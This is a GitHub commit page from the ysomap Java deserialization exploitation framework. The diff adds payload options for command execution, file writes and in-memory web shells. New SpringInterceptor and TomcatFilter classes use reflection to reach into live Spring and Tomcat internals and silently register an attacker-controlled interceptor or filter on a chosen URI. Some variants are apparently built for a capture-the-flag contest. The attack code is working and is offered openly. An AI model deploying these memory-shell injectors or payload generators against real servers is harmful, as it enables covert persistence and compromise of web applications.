Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
  • Loading branch information
wh1t3p1g committed Oct 14, 2023
1 parent 76e58d4 commit 4f333a6
Show file tree
Hide file tree
Showing 3 changed files with 235 additions and 2 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -5,9 +5,14 @@
import javassist.ClassPool;
import javassist.CtClass;
import loader.*;
import msshell.SpringInterceptor;
import msshell.TomcatFilter;
import msshell.TomcatFilterForD3ctf1;
import msshell.TomcatFilterForD3ctf2;
import ysomap.bullets.AbstractBullet;
import ysomap.bullets.jdk.TemplatesImplBullet;
import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Strings;
import ysomap.core.util.ClassFiles;
import ysomap.core.util.FileHelper;
Expand Down Expand Up @@ -67,6 +72,7 @@ public byte[] getObject() throws Exception {
Class<?> effectClazz = (Class) objs[0];
if(classname == null){
classname = effectClazz.getSimpleName() + System.currentTimeMillis();
Logger.success("Generate class for name: "+classname);
}
code = process((String) objs[1], (String) objs[2], exception, body);
cc = ClassFiles.makeClassFromExistClass(pool, effectClazz, null);
Expand Down Expand Up @@ -106,12 +112,15 @@ public Object doAction(String action, String exception, Object data) throws IOEx
return Arrays.toString((byte[]) data)
.replace("[", "")
.replace("]", "");
}else if("wrap".equals(action) && data instanceof String){
}else if("exec".equals(action) && data instanceof String){
if("false".equals(exception)){
return PayloadHelper.makeRuntimeExecPayload((String) data);
}else{
return PayloadHelper.makeExceptionPayload((String) data);
}
}else if("fileWrite".equals(action) && data instanceof String[]){
String[] args = (String[]) data;
return PayloadHelper.makeFileWritePayload(args[0], args[1]);
}
return data;
}
Expand Down Expand Up @@ -139,7 +148,8 @@ private String process(String formater, String action, String exception, String

static {
effects = new HashMap<>();
effects.put("default", new Object[]{TemplatesImplBullet.StubTransletPayload.class, "%s", "wrap"});
effects.put("default", new Object[]{TemplatesImplBullet.StubTransletPayload.class, "%s", "exec"});
effects.put("FileWrite", new Object[]{TemplatesImplBullet.StubTransletPayload.class, "%s", "base64;fileWrite"});
effects.put("TomcatEcho", new Object[]{TomcatEchoPayload.class, null, null});
effects.put("SocketEcho",
new Object[]{SocketEchoPayload.class,
Expand All @@ -164,6 +174,18 @@ private String process(String formater, String action, String exception, String
effects.put("CustomizableClassLoader",
new Object[]{CustomizableClassLoader.class,
"classBae64Str = \"%s\";", "read;gzip;base64"});
effects.put("SpringInterceptor",
new Object[]{SpringInterceptor.class, null, null});
effects.put("TomcatFilter",
new Object[]{TomcatFilter.class,
"uri = \"%s\";\nfilterName = \"%s\";\ndata = \"%s\";", "split"}); // uri;DefaultFilter;data
effects.put("TomcatFilterForD3ctf1",
new Object[]{TomcatFilterForD3ctf1.class,
"uri = \"%s\";\nfilterName = \"%s\";\ndata = \"%s\";", "split"}); // uri;DefaultFilter;data
effects.put("TomcatFilterForD3ctf2",
new Object[]{TomcatFilterForD3ctf2.class,
"uri = \"%s\";\nfilterName = \"%s\";\ndata = \"%s\";", "split"}); // uri;DefaultFilter;data


}
}
58 changes: 58 additions & 0 deletions thirdparty/src/main/java/msshell/SpringInterceptor.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
package msshell;

import org.springframework.beans.BeansException;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.ServletRequest;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;

/**
* @author wh1t3p1g
* @since 2023/3/26
*/
public class SpringInterceptor extends HandlerInterceptorAdapter {

static {
try {
Class<?> RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");

Method getWebApplicationContext;
try {
getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class);
} catch (NoSuchMethodException e) {
getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class);
}
getWebApplicationContext.setAccessible(true);

WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

//从 requestMappingHandlerMapping 中获取 adaptedInterceptors 属性 老版本是 DefaultAnnotationHandlerMapping
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping;
try {
Class<?> RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping);
} catch (BeansException e) {
Class<?> DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping");
abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping);
}

java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);

//添加SpringInterceptorTemplate类到adaptedInterceptors
adaptedInterceptors.add(new SpringInterceptor());
} catch (Exception ignored) {
}
}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
return true;
}
}
153 changes: 153 additions & 0 deletions thirdparty/src/main/java/msshell/TomcatFilter.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,153 @@
package msshell;


import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

/**
* @author wh1t3p1g
* @since 2023/3/1
*/
public class TomcatFilter implements Filter {

private static String uri;
private static String filterName = "DefaultFilter";

private static String data = "test";
public TomcatFilter(String uri){
}

public TomcatFilter() {
try{
System.out.println("try to inject");
ThreadLocal threadLocal = init();

if (threadLocal != null && threadLocal.get() != null) {
System.out.println("try to inject to request");
javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) threadLocal.get();
javax.servlet.ServletContext servletContext = servletRequest.getServletContext();

ApplicationContext applicationContext = (ApplicationContext) getFieldObject(servletContext, servletContext.getClass(), "context");

StandardContext standardContext = (StandardContext) getFieldObject(applicationContext, applicationContext.getClass(), "context");
Map filterConfigs = (Map) getFieldObject(standardContext, standardContext.getClass(), "filterConfigs");

if(filterConfigs.get(filterName) != null){
filterConfigs.remove(filterName); // 重新注册
}

TomcatFilter filter = new TomcatFilter(uri);

FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(uri);
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

filterConfigs.put(filterName, filterConfig);
System.out.println("inject success");
}

}catch (Exception e){

}
}

public ThreadLocal init() throws Exception{
Class<?> applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field WRAP_SAME_OBJECT = getField(applicationDispatcher, "WRAP_SAME_OBJECT");
Field modifiersField = getField(WRAP_SAME_OBJECT.getClass(), "modifiers");
modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
if (!WRAP_SAME_OBJECT.getBoolean(null)) {
WRAP_SAME_OBJECT.setBoolean(null, true);
}

//初始化 lastServicedRequest
Class<?> applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequest = getField(applicationFilterChain,"lastServicedRequest");
modifiersField = getField(lastServicedRequest.getClass(),"modifiers");
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

if (lastServicedRequest.get(null) == null) {
lastServicedRequest.set(null, new ThreadLocal<>());
}

//初始化 lastServicedResponse
Field lastServicedResponse = getField(applicationFilterChain,"lastServicedResponse");
modifiersField = getField(lastServicedResponse.getClass(),"modifiers");
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

if (lastServicedResponse.get(null) == null) {
lastServicedResponse.set(null, new ThreadLocal<>());
}

return (ThreadLocal) getFieldObject(null, applicationFilterChain,"lastServicedRequest");
}

public static Object getFieldObject(Object obj, Class<?> cls, String fieldName){
Field field = getField(cls, fieldName);
try {
return field.get(obj);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return null;
}

public static Field getField(Class<?> cls, String fieldName){
Field field = null;
try {
field = cls.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (cls.getSuperclass() != null)
field = getField(cls.getSuperclass(), fieldName);
}
return field;
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// TODO change
HttpServletResponse resp = (HttpServletResponse) response;
// String flag = new String(Files.readAllBytes(Paths.get("/flag")));
String retData = "{" +
"\"message\": \""+data+"\"," +
"\"code\": \"200\"" +
"}";
resp.getWriter().write(retData);
// chain.doFilter(request, response);
}

@Override
public void destroy() {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

}

0 comments on commit 4f333a6

Please sign in to comment.